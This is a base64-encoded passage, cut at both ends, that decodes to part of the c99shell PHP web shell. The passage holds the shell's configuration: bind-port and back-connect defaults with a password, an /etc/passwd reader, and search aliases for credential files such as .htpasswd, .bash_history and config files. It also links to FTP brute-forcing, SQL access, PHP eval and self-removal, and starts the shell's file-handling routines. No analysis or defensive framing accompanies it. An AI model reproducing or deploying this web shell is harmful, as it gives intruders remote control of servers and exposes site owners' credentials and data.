PVCIpOw0KJHRtcGRpciA9ICIiOyAvL0ZvbGRlciBmb3IgdGVtcG9yeSBmaWxlcy4gSWYgZW1wdHksIGF1dG8tZmlsbCAoL3RtcCBvciAlV0lORElSL3RlbXApDQokdG1wZGlyX2xvZyA9ICIuLyI7IC8vRGlyZWN0b3J5IGxvZ3Mgb2YgbG9uZyBwcm9jZXNzZXMgKGUuZy4gYnJ1dGUsIHNjYW4uLi4pDQoNCiRsb2dfZW1haWwgPSAidXNlckBob3N0LnRsZCI7IC8vRGVmYXVsdCBlLW1haWwgZm9yIHNlbmRpbmcgbG9ncw0KDQokc29ydF9kZWZhdWx0ID0gIjBhIjsgLy9EZWZhdWx0IHNvcnRpbmcsIDAgLSBudW1iZXIgb2YgY29sb21uLCAiYSJzY2VuZGluZyBvciAiZCJlc2NlbmRpbmcNCiRzb3J0X3NhdmUgPSBUUlVFOyAvL0lmIFRSVUUgdGhlbiBzYXZlIHNvcnRpbmctcG9zaXRpb24gdXNpbmcgY29va2llcy4NCg0KLy8gUmVnaXN0ZXJlZCBmaWxlLXR5cGVzLg0KLy8gIGFycmF5KA0KLy8gICAie2FjdGlvbjF9Ij0+YXJyYXkoImV4dDEiLCJleHQyIiwiZXh0MyIsLi4uKSwNCi8vICAgInthY3Rpb24yfSI9PmFycmF5KCJleHQ0IiwiZXh0NSIsImV4dDYiLC4uLiksDQovLyAgIC4uLg0KLy8gICkNCiRmdHlwZXMgID0gYXJyYXkoDQogImh0bWwiPT5hcnJheSgiaHRtbCIsImh0bSIsInNodG1sIiksDQogInR4dCI9PmFycmF5KCJ0eHQiLCJjb25mIiwiYmF0Iiwic2giLCJqcyIsImJhayIsImRvYyIsImxvZyIsInNmYyIsImNmZyIsImh0YWNjZXNzIiksDQogImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwNCiAiaW5pIj0+YXJyYXkoImluaSIsImluZiIpLA0KICJjb2RlIj0+YXJyYXkoInBocCIsInBodG1sIiwicGhwMyIsInBocDQiLCJpbmMiLCJ0Y2wiLCJoIiwiYyIsImNwcCIsInB5IiwiY2dpIiwicGwiKSwNCiAiaW1nIj0+YXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwNCiAic2RiIj0+YXJyYXkoInNkYiIpLA0KICJwaHBzZXNzIj0+YXJyYXkoInNlc3MiKSwNCiAiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiKQ0KKTsNCg0KLy8gUmVnaXN0ZXJlZCBleGVjdXRhYmxlIGZpbGUtdHlwZXMuDQovLyAgYXJyYXkoDQovLyAgIHN0cmluZyAiY29tbWFuZHtpfSI9PmFycmF5KCJleHQxIiwiZXh0MiIsImV4dDMiLC4uLiksDQovLyAgIC4uLg0KLy8gICkNCi8vICAge2NvbW1hbmR9OiAlZiUgPSBmaWxlbmFtZQ0KJGV4ZWZ0eXBlcyAgPSBhcnJheSgNCiBnZXRlbnYoIlBIUFJDIikuIiAtcSAlZiUiID0+IGFycmF5KCJwaHAiLCJwaHAzIiwicGhwNCIpLA0KICJwZXJsICVmJSIgPT4gYXJyYXkoInBsIiwiY2dpIikNCik7DQoNCi8qIEhpZ2hsaWdodGVkIGZpbGVzLg0KICBhcnJheSgNCiAgIGk9PmFycmF5KHtyZWdleHB9LHt0eXBlfSx7b3BlbnRhZ30se2Nsb3NldGFnfSx7YnJlYWt9KQ0KICAgLi4uDQogICkNCiAgc3RyaW5nIHtyZWdleHB9IC0gcmVndWxhciBleHAuDQogIGludCB7dHlwZX06DQowIC0gZmlsZXMgYW5kIGZvbGRlcnMgKGFzIGRlZmF1bHQpLA0KMSAtIGZpbGVzIG9ubHksIDIgLSBmb2xkZXJzIG9ubHkNCiAgc3RyaW5nIHtvcGVudGFnfSAtIG9wZW4gaHRtbC10YWcsIGUuZy4gIjxiPiIgKGRlZmF1bHQpDQogIHN0cmluZyB7Y2xvc2V0YWd9IC0gY2xvc2UgaHRtbC10YWcsIGUuZy4gIjwvYj4iIChkZWZhdWx0KQ0KICBib29sIHticmVha30gLSBpZiBUUlVFIGFuZCBmb3VuZCBtYXRjaCB0aGVuIGJyZWFrDQoqLw0KJHJlZ3hwX2hpZ2hsaWdodCAgPSBhcnJheSgNCiAgYXJyYXkoYmFzZW5hbWUoJF9TRVJWRVJbIlBIUF9TRUxGIl0pLDEsIjxmb250IGNvbG9yPVwieWVsbG93XCI+IiwiPC9mb250PiIpLCAvLyBleGFtcGxlDQogIGFycmF5KCJjb25maWcucGhwIiwxKSAvLyBleGFtcGxlDQopOw0KDQokc2FmZW1vZGVfZGlza2V0dGVzID0gYXJyYXkoImEiKTsgLy8gVGhpcyB2YXJpYWJsZSBmb3IgZGlzYWJsaW5nIGRpc2tldHQtZXJyb3JzLg0KIC8vIGFycmF5IChpPT57bGV0dGVyfSAuLi4pOyBzdHJpbmcge2xldHRlcn0gLSBsZXR0ZXIgb2YgYSBkcml2ZQ0KLy8kc2FmZW1vZGVfZGlza2V0dGVzID0gcmFuZ2UoImEiLCJ6Iik7DQokaGV4ZHVtcF9saW5lcyA9IDg7Ly8gbGluZXMgaW4gaGV4IHByZXZpZXcgZmlsZQ0KJGhleGR1bXBfcm93cyA9IDI0Oy8vIDE2LCAyNCBvciAzMiBieXRlcyBpbiBvbmUgbGluZQ0KDQokbml4cHdkcGVycGFnZSA9IDEwMDsgLy8gR2V0IGZpcnN0IE4gbGluZXMgZnJvbSAvZXRjL3Bhc3N3ZA0KDQokYmluZHBvcnRfcGFzcyA9ICJjOTkiOyAgLy8gZGVmYXVsdCBwYXNzd29yZCBmb3IgYmluZGluZw0KJGJpbmRwb3J0X3BvcnQgPSAiMzEzNzMiOyAvLyBkZWZhdWx0IHBvcnQgZm9yIGJpbmRpbmcNCiRiY19wb3J0ID0gIjMxMzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiYWNrLWNvbm5lY3QNCiRkYXRhcGlwZV9sb2NhbHBvcnQgPSAiODA4MSI7IC8vIGRlZmF1bHQgcG9ydCBmb3IgZGF0YXBpcGUNCg0KLy8gQ29tbWFuZC1hbGlhc2VzDQppZiAoISR3aW4pDQp7DQogJGNtZGFsaWFzZXMgPSBhcnJheSgNCiAgYXJyYXkoIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiwgImxzIC1sYSIpLA0KICBhcnJheSgiZmluZCBhbGwgc3VpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogIGFycmF5KCJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBhbGwgc2dpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiksDQogIGFycmF5KCJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIpLA0KICBhcnJheSgiZmluZCBjb25maWcqIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksDQogIGFycmF5KCJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiwgImZpbmQgLyAtcGVybSAtMiAtbHMiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtcGVybSAtMiAtbHMiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksDQogIGFycmF5KCJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwNCiAgYXJyYXkoImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLA0KICBhcnJheSgiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiKSwNCiAgYXJyYXkoImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgYXJyYXkoImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIpLA0KICBhcnJheSgibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iLCAibHNhdHRyIC12YSIpLA0KICBhcnJheSgic2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpDQogKTsNCn0NCmVsc2UNCnsNCiAkY21kYWxpYXNlcyA9IGFycmF5KA0KICBhcnJheSgiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iLCAiZGlyIiksDQogIGFycmF5KCJzaG93IG9wZW5lZCBwb3J0cyIsICJuZXRzdGF0IC1hbiIpDQogKTsNCn0NCg0KJHNlc3NfY29va2llID0gImM5OXNodmFycyI7IC8vIENvb2tpZS12YXJpYWJsZSBuYW1lDQoNCiR1c2Vmc2J1ZmYgPSBUUlVFOyAvL0J1ZmZlci1mdW5jdGlvbg0KJGNvcHlfdW5zZXQgPSBGQUxTRTsgLy9SZW1vdmUgY29waWVkIGZpbGVzIGZyb20gYnVmZmVyIGFmdGVyIHBhc3RpbmcNCg0KLy9RdWljayBsYXVuY2gNCiRxdWlja2xhdW5jaCA9IGFycmF5KA0KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWhvbWVcIiBhbHQ9XCJIb21lXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsJHN1cmwpLA0KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWJhY2tcIiBhbHQ9XCJCYWNrXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsIiNcIiBvbmNsaWNrPVwiaGlzdG9yeS5iYWNrKDEpIiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Zm9yd2FyZFwiIGFsdD1cIkZvcndhcmRcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+IiwiI1wiIG9uY2xpY2s9XCJoaXN0b3J5LmdvKDEpIiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9dXBcIiBhbHQ9XCJVUERJUlwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsLiJhY3Q9bHMmZD0ldXBkJnNvcnQ9JXNvcnQiKSwNCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1yZWZyZXNoXCIgYWx0PVwiUmVmcmVzaFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIxN1wiIGJvcmRlcj1cIjBcIj4iLCIiKSwNCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zZWFyY2hcIiBhbHQ9XCJTZWFyY2hcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PXNlYXJjaCZkPSVkIiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YnVmZmVyXCIgYWx0PVwiQnVmZmVyXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsJHN1cmwuImFjdD1mc2J1ZmYmZD0lZCIpLA0KIGFycmF5KCI8Yj5FbmNvZGVyPC9iPiIsJHN1cmwuImFjdD1lbmNvZGVyJmQ9JWQiKSwNCiBhcnJheSgiPGI+VG9vbHM8L2I+Iiwkc3VybC4iYWN0PXRvb2xzJmQ9JWQiKSwNCiBhcnJheSgiPGI+UHJvYy48L2I+Iiwkc3VybC4iYWN0PXByb2Nlc3NlcyZkPSVkIiksDQogYXJyYXkoIjxiPkZUUCBicnV0ZTwvYj4iLCRzdXJsLiJhY3Q9ZnRwcXVpY2ticnV0ZSZkPSVkIiksDQogYXJyYXkoIjxiPlNlYy48L2I+Iiwkc3VybC4iYWN0PXNlY3VyaXR5JmQ9JWQiKSwNCiBhcnJheSgiPGI+U1FMPC9iPiIsJHN1cmwuImFjdD1zcWwmZD0lZCIpLA0KIGFycmF5KCI8Yj5QSFAtY29kZTwvYj4iLCRzdXJsLiJhY3Q9ZXZhbCZkPSVkIiksDQogYXJyYXkoIjxiPlVwZGF0ZTwvYj4iLCRzdXJsLiJhY3Q9dXBkYXRlJmQ9JWQiKSwNCiBhcnJheSgiPGI+RmVlZGJhY2s8L2I+Iiwkc3VybC4iYWN0PWZlZWRiYWNrJmQ9JWQiKSwNCiBhcnJheSgiPGI+U2VsZiByZW1vdmU8L2I+Iiwkc3VybC4iYWN0PXNlbGZyZW1vdmUiKSwNCiBhcnJheSgiPGI+TG9nb3V0PC9iPiIsIiNcIiBvbmNsaWNrPVwiaWYgKGNvbmZpcm0oJ0FyZSB5b3Ugc3VyZT8nKSkgd2luZG93LmNsb3NlKCkiKQ0KKTsNCg0KLy9IaWdobGlnaHQtY29kZSBjb2xvcnMNCiRoaWdobGlnaHRfYmFja2dyb3VuZCA9ICIjYzBjMGMwIjsNCiRoaWdobGlnaHRfYmcgPSAiI0ZGRkZGRiI7DQokaGlnaGxpZ2h0X2NvbW1lbnQgPSAiIzZBNkE2QSI7DQokaGlnaGxpZ2h0X2RlZmF1bHQgPSAiIzAwMDBCQiI7DQokaGlnaGxpZ2h0X2h0bWwgPSAiIzEzMDBGRiI7DQokaGlnaGxpZ2h0X2tleXdvcmQgPSAiIzAwNzcwMCI7DQokaGlnaGxpZ2h0X3N0cmluZyA9ICIjMDAwMDAwIjsNCg0KQCRmID0gJF9SRVFVRVNUWyJmIl07DQpAZXh0cmFjdCgkX1JFUVVFU1RbImM5OXNoY29vayJdKTsNCg0KLy9FTkQgQ09ORklHVVJBVElPTg0KDQoNCi8vIFwvTmV4dCBjb2RlIGlzbid0IGZvciBlZGl0aW5nXC8NCkBzZXRfdGltZV9saW1pdCgwKTsNCiR0bXAgPSBhcnJheSgpOw0KZm9yZWFjaCgkaG9zdF9hbGxvdyBhcyAkaz0+JHYpIHskdG1wW10gPSBzdHJfcmVwbGFjZSgiXFwqIiwiLioiLHByZWdfcXVvdGUoJHYpKTt9DQokcyA9ICIhXigiLmltcGxvZGUoInwiLCR0bXApLiIpJCFpIjsNCmlmICghcHJlZ19tYXRjaCgkcyxnZXRlbnYoIlJFTU9URV9BRERSIikpIGFuZCAhcHJlZ19tYXRjaCgkcyxnZXRob3N0YnlhZGRyKGdldGVudigiUkVNT1RFX0FERFIiKSkpKSB7ZXhpdCgiPGEgaHJlZj1cImh0dHA6Ly9jY3RlYW0ucnUvcmVsZWFzZXMvY2M5OXNoZWxsXCI+Yzk5c2hlbGw8L2E+OiBBY2Nlc3MgRGVuaWVkIC0geW91ciBob3N0ICgiLmdldGVudigiUkVNT1RFX0FERFIiKS4iKSBub3QgYWxsb3ciKTt9DQppZiAoIWVtcHR5KCRsb2dpbikpDQp7DQogaWYgKGVtcHR5KCRtZDVfcGFzcykpIHskbWQ1X3Bhc3MgPSBtZDUoJHBhc3MpO30NCiBpZiAoKCRfU0VSVkVSWyJQSFBfQVVUSF9VU0VSIl0gIT0gJGxvZ2luKSBvciAobWQ1KCRfU0VSVkVSWyJQSFBfQVVUSF9QVyJdKSAhPSAkbWQ1X3Bhc3MpKQ0KIHsNCiAgaWYgKGVtcHR5KCRsb2dpbl90eHQpKSB7JGxvZ2luX3R4dCA9IHN0cmlwX3RhZ3MoZXJlZ19yZXBsYWNlKCImbmJzcDt8PGJyPiIsIiAiLCRkb25hdGVkX2h0bWwpKTt9DQogIGhlYWRlcigiV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09XCJjOTlzaGVsbCAiLiRzaHZlci4iOiAiLiRsb2dpbl90eHQuIlwiIik7DQogIGhlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpOw0KICBleGl0KCRhY2Nlc3NkZW5pZWRtZXNzKTsNCiB9DQp9DQppZiAoJGFjdCAhPSAiaW1nIikNCnsNCiRsYXN0ZGlyID0gcmVhbHBhdGgoIi4iKTsNCmNoZGlyKCRjdXJkaXIpOw0KaWYgKCRzZWxmd3JpdGUgb3IgJHVwZGF0ZW5vdykge0BvYl9jbGVhbigpOyBjOTlzaF9nZXR1cGRhdGUoJHNlbGZ3cml0ZSwxKTsgZXhpdDt9DQokc2Vzc19kYXRhID0gdW5zZXJpYWxpemUoJF9DT09LSUVbIiRzZXNzX2Nvb2tpZSJdKTsNCmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9DQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImNvcHkiXSkpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheSgpO30NCmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY3V0Il0pKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheSgpO30NCg0KJGRpc2FibGVmdW5jID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7DQppZiAoIWVtcHR5KCRkaXNhYmxlZnVuYykpDQp7DQogJGRpc2FibGVmdW5jID0gc3RyX3JlcGxhY2UoIiAiLCIiLCRkaXNhYmxlZnVuYyk7DQogJGRpc2FibGVmdW5jID0gZXhwbG9kZSgiLCIsJGRpc2FibGVmdW5jKTsNCn0NCg0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OV9idWZmX3ByZXBhcmUiKSkNCnsNCmZ1bmN0aW9uIGM5OV9idWZmX3ByZXBhcmUoKQ0Kew0KIGdsb2JhbCAkc2Vzc19kYXRhOw0KIGdsb2JhbCAkYWN0Ow0KIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImNvcHkiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImNvcHkiXSk7DQogJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY3V0Il0pOw0KIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsNCiBzb3J0KCRzZXNzX2RhdGFbImN1dCJdKTsNCiBpZiAoJGFjdCAhPSAiY29weSIpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7IH19fQ0KIGVsc2Uge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319fQ0KfQ0KfQ0KYzk5X2J1ZmZfcHJlcGFyZSgpOw0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OV9zZXNzX3B1dCIpKQ0Kew0KZnVuY3Rpb24gYzk5X3Nlc3NfcHV0KCRkYXRhKQ0Kew0KIGdsb2JhbCAkc2Vzc19jb29raWU7DQogZ2xvYmFsICRzZXNzX2RhdGE7DQogYzk5X2J1ZmZfcHJlcGFyZSgpOw0KICRzZXNzX2RhdGEgPSAkZGF0YTsNCiAkZGF0YSA9IHNlcmlhbGl6ZSgkZGF0YSk7DQogc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwkZGF0YSk7DQp9DQp9DQpmb3JlYWNoIChhcnJheSgic29ydCIsInNxbF9zb3J0IikgYXMgJHYpDQp7DQogaWYgKCFlbXB0eSgkX0dFVFskdl0pKSB7JCR2ID0gJF9HRVRbJHZdO30NCiBpZiAoIWVtcHR5KCRfUE9TVFskdl0pKSB7JCR2ID0gJF9QT1NUWyR2XTt9DQp9DQppZiAoJHNvcnRfc2F2ZSkNCnsNCiBpZiAoIWVtcHR5KCRzb3J0KSkge3NldGNvb2tpZSgic29ydCIsJHNvcnQpO30NCiBpZiAoIWVtcHR5KCRzcWxfc29ydCkpIHtzZXRjb29raWUoInNxbF9zb3J0Iiwkc3FsX3NvcnQpO30NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJzdHIybWluaSIpKQ0Kew0KZnVuY3Rpb24gc3RyMm1pbmkoJGNvbnRlbnQsJGxlbikNCnsNCiBpZiAoc3RybGVuKCRjb250ZW50KSA+ICRsZW4pDQogew0KICAkbGVuID0gY2VpbCgkbGVuLzIpIC0gMjsNCiAgcmV0dXJuIHN1YnN0cigkY29udGVudCwgMCwkbGVuKS4iLi4uIi5zdWJzdHIoJGNvbnRlbnQsLSRsZW4pOw0KIH0NCiBlbHNlIHtyZXR1cm4gJGNvbnRlbnQ7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKQ0Kew0KZnVuY3Rpb24gdmlld19zaXplKCRzaXplKQ0Kew0KIGlmICghaXNfbnVtZXJpYygkc2l6ZSkpIHtyZXR1cm4gRkFMU0U7fQ0KIGVsc2UNCiB7DQogIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9DQogIGVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7fQ0KICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30NCiAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KICByZXR1cm4gJHNpemU7DQogfQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfZGlyIikpDQp7DQpmdW5jdGlvbiBmc19jb3B5X2RpcigkZCwkdCkNCnsNCiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpDQogew0KICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgew0KICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGVsc2UgeyRyZXQgPSBta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTsgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogIH0NCiB9DQogY2xvc2VkaXIoJGgpOw0KIHJldHVybiBUUlVFOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfb2JqIikpDQp7DQpmdW5jdGlvbiBmc19jb3B5X29iaigkZCwkdCkNCnsNCiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOw0KIGlmICghaXNfZGlyKGRpcm5hbWUoJHQpKSkge21rZGlyKGRpcm5hbWUoJHQpKTt9DQogaWYgKGlzX2RpcigkZCkpDQogew0KICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgcmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTsNCiB9DQogZWxzZWlmIChpc19maWxlKCRkKSkge3JldHVybiBjb3B5KCRkLCR0KTt9DQogZWxzZSB7cmV0dXJuIEZBTFNFO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX2RpciIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9kaXIoJGQsJHQpDQp7DQogJGggPSBvcGVuZGlyKCRkKTsNCiBpZiAoIWlzX2RpcigkdCkpIHtta2RpcigkdCk7fQ0KIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQ0KIHsNCiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpDQogIHsNCiAgICRyZXQgPSBUUlVFOw0KICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGVsc2Uge2lmIChta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSBhbmQgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBGQUxTRTt9fQ0KICAgaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fQ0KICB9DQogfQ0KIGNsb3NlZGlyKCRoKTsNCiByZXR1cm4gVFJVRTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX29iaiIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9vYmooJGQsJHQpDQp7DQogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICR0ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0KTsNCiBpZiAoaXNfZGlyKCRkKSkNCiB7DQogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgaWYgKHN1YnN0cigkdCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICByZ